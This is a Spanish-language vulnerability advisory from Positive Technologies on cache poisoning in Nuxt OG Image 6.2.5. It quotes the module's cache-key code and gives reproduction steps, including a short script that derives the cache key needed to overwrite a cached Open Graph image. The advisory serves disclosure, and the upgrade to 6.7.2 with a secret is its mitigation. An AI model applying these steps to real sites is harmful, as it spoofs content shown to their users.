Envenenamiento de caché en Nuxt OG Image mediante claves de caché derivables en rutas de imágenes dinámicas no firmadas

Proveedor: Nuxt Producto: Nuxt OG Image Versión: 6.2.5 Descripción: Debido a las particularidades del almacenamiento en caché y la generación de claves en la caché de imágenes Open Graph creada por el módulo, un atacante no autenticado puede modificar el contenido de la imagen (por ejemplo, el parámetro title) que se entrega al usuario. Impacto: Suplantación de contenido (Content Spoofing) Componente vulnerable: ruta /_og/d/*.png Condiciones de explotación: Acceso a la aplicación Mitigación: Actualizar a 6.7.2 y establecer un secret suficientemente seguro en la configuración ogImage Investigador: Dmitry Vanin (Positive Technologies)

Investigación

Durante la investigación de vulnerabilidad previa,) se descubrió que la versión 6.2.5 modificó el mecanismo de generación de índices de caché; ahora toma en cuenta los parámetros pasados durante la generación de la imagen.

Sin embargo, la imagen aún se genera a partir de datos transmitidos al atacante.

Listado 1. Nuevo código para la generación de índices en caché

export function resolvePathCacheKey(e: H3Event, path: string, resolvedOptions?: Record<string, any>) {
  const siteConfig = getSiteConfig(e, {
    resolveRefs: true,
  })
  const basePath = withoutTrailingSlash(withoutLeadingSlash(normalizeKey(path)))
  const hashParts: any[] = [
    basePath,
    import.meta.prerender ? '' : siteConfig.url,
  ]
  // Hash resolved options (not raw query string) so unknown/extra query params
  // cannot produce unique cache keys and bypass the cache.
  if (resolvedOptions)
    hashParts.push(hash(resolvedOptions))
  return [
    (!basePath || basePath === '/') ? 'index' : basePath,
    hash(hashParts),
  ].join(':')
}

En este caso, basePath se obtiene del parámetro _path, y resolvedOptions corresponden a las configuraciones normalizadas del componente, por ejemplo:

Listado 2. Un ejemplo de resolvedOptions

{"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageDefaultImageTakumi"}

A partir del análisis de resolvedOptions, se concluyó que, en general, todos los parámetros son conocidos a través del enlace directo a la OG Image o mediante la respuesta del servidor.

Reproducción de la vulnerabilidad

1. Encontrar la ruta a OG Image. Figura 1. Demostración de localización de la ruta a OG Image (width: 974, height: 361)

2. Obtener los parámetros de la respuesta del servidor, especialmente cacheMaxAgeSeconds (cabecera cache-control, clave s-maxage); los demás parámetros son conocidos a partir de las etiquetas meta así como del parámetro c_<component name>. Figura 2. Obtención de parámetros (width: 974, height: 245)

3. Generar una clave de caché utilizando un script. Listado 3. Script

import {hash} from "ohash";

var url = "https://contoso.com"

var obj = JSON.parse(`{"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageBlogPostTakumi"}`)

var basePath = '/'

var hashParts = [
    basePath,
    url
  ]
  
if (obj)
	hashParts.push(hash(obj))

console.log([
    (!basePath || basePath === '/') ? 'index' : basePath,
    hash(hashParts),
  ].join(':'))

4. Repetir los pasos como en la vulnerabilidad 1,), transmitiendo además el cacheKey obtenido.

5. De este modo, se obtuvo el mismo resultado que en la vulnerabilidad 1). Figura 4. Respuesta del servidor (width: 974, height: 729)

Créditos

Investigador: Dmitry Vanin (Positive Technologies)